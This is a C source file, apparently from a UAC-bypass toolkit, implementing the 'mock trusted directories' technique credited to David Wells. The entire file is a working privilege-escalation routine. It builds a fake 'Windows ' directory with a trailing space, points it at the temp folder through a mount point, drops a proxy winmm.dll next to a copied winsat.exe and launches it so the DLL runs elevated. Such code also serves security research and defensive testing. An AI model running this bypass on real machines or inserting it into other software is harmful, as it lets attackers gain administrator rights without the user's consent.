/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2018 - 2026
*
*  TITLE:       DWELLS.C
*
*  VERSION:     3.70
*
*  DATE:        07 May 2026
*
*  David Wells based method.
*
*  Original method URL:
*  https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"

/*
* ucmDirectoryMockMethod
*
* Purpose:
*
* UAC bypass abusing GetLongPathNameW behavior during AIS.
* 
* Fixed in Windows 11 24H2/25H2.
*
*/
NTSTATUS ucmDirectoryMockMethod(
    _In_ PVOID ProxyDll,
    _In_ DWORD ProxyDllSize
)
{
    NTSTATUS            MethodResult = STATUS_ACCESS_DENIED;
    HANDLE              hFakeWindows = NULL;
    UNICODE_STRING      usDirectoryName;
    OBJECT_ATTRIBUTES   ObjectAttributes;

    WCHAR szPayloadDir[MAX_PATH * 2];
    WCHAR szSource[MAX_PATH * 2];
    WCHAR szDest[MAX_PATH * 2];

    do {

        //
        // Create destination dir "system32" in %temp%
        //
        _strcpy(szPayloadDir, g_ctx->szTempDirectory);
        _strcat(szPayloadDir, L"system32\\");
        if (!CreateDirectory(szPayloadDir, NULL)) {
            if (GetLastError() != ERROR_ALREADY_EXISTS)
                break;
        }

        //
        // Drop fubuki to %temp%\system32 as winmm.dll
        //
        _strcpy(szDest, szPayloadDir);
        _strcat(szDest, WINMM_DLL);
        if (!supWriteBufferToFile(szDest, ProxyDll, ProxyDllSize))
            break;

        //
        // Copy winsat to %temp%\system32
        //
        _strcpy(szSource, g_ctx->szSystemDirectory);
        _strcat(szSource, WINSAT_EXE);

        _strcpy(szDest, szPayloadDir);
        _strcat(szDest, WINSAT_EXE);
        if (!CopyFile(szSource, szDest, FALSE))
            break;

        //
        // Fake root.
        //
        RtlSecureZeroMemory(szSource, sizeof(szSource));
        szSource[0] = L'\\';
        szSource[1] = L'?';
        szSource[2] = L'?';
        szSource[3] = L'\\';
        _strncpy(&szSource[4], 4, g_ctx->szSystemRoot, 4);
        _strcat(szSource, L"Windows ");

        RtlInitUnicodeString(&usDirectoryName, szSource);
        InitializeObjectAttributes(&ObjectAttributes, &usDirectoryName,
            OBJ_CASE_INSENSITIVE, NULL, NULL);

        if (!NT_SUCCESS(supCreateDirectory(
            &hFakeWindows,
            &ObjectAttributes,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)))
        {
            break;
        }

        //
        // Set reparse to %temp%.
        //
        _strcpy(szSource, L"\\??\\");
        _strcat(szSource, g_ctx->szTempDirectory);
        supSetMountPoint(
            hFakeWindows,
            szSource,
            &szSource[4]);

        //
        // Run target application.
        //
        RtlSecureZeroMemory(&szSource, sizeof(szSource));
        _strncpy(szSource, 4, g_ctx->szSystemRoot, 4);
        _strcat(szSource, L"Windows \\system32\\");
        _strcat(szSource, WINSAT_EXE);
        if (supRunProcess(szSource, NULL))
            MethodResult = STATUS_SUCCESS;

    } while (FALSE);

    //
    // Cleanup.
    //
    if (hFakeWindows) {
        //
        // Remove reparse point.
        //
        supDeleteMountPoint(hFakeWindows);
        NtClose(hFakeWindows);

        //
        // Remove directory.
        //
        RtlSecureZeroMemory(szSource, sizeof(szSource));
        szSource[0] = L'\\';
        szSource[1] = L'?';
        szSource[2] = L'?';
        szSource[3] = L'\\';
        _strncpy(&szSource[4], 4, g_ctx->szSystemRoot, 4);
        _strcat(szSource, L"Windows ");

        RtlInitUnicodeString(&usDirectoryName, szSource);
        InitializeObjectAttributes(&ObjectAttributes, &usDirectoryName,
            OBJ_CASE_INSENSITIVE, NULL, NULL);

        NtDeleteFile(&ObjectAttributes);
    }
    return MethodResult;
}
